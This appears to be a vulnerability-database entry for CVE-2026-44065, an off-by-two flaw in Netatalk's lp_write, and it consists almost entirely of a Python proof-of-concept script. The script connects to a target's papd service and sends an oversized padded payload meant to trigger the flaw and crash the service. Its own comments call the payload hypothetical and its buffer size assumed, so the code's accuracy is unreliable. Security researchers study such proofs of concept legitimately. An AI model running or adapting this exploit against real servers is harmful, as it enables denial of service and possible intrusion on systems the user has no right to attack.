CVE-2026-44065 Netatalk lp_write差二错误漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-44065 (Netatalk papd off-by-two) import socket import sys def send_exploit(target_ip, target_port=515): try: # Establish TCP connection to papd service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Hypothetical payload structure to trigger the off-by-two error in lp_write() # Assumes a specific buffer size is checked before write. # Sending data that aligns exactly with the faulty boundary check. # Example payload structure (Conceptual) filename = b"vuln.txt" control_code = b"\x02" # Specific control byte might be needed # Padding to reach the boundary where off-by-two occurs # Size depends on internal buffer size of lp_write, e.g., 1024 payload = control_code + filename + b"\n" + b"A" * 1020 s.send(payload) print(f"[+] Payload sent to {target_ip}:{target_port}") print("[*) Check if service crashed or behavior changed.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <TARGET_IP>") else: send_exploit(sys.argv[1])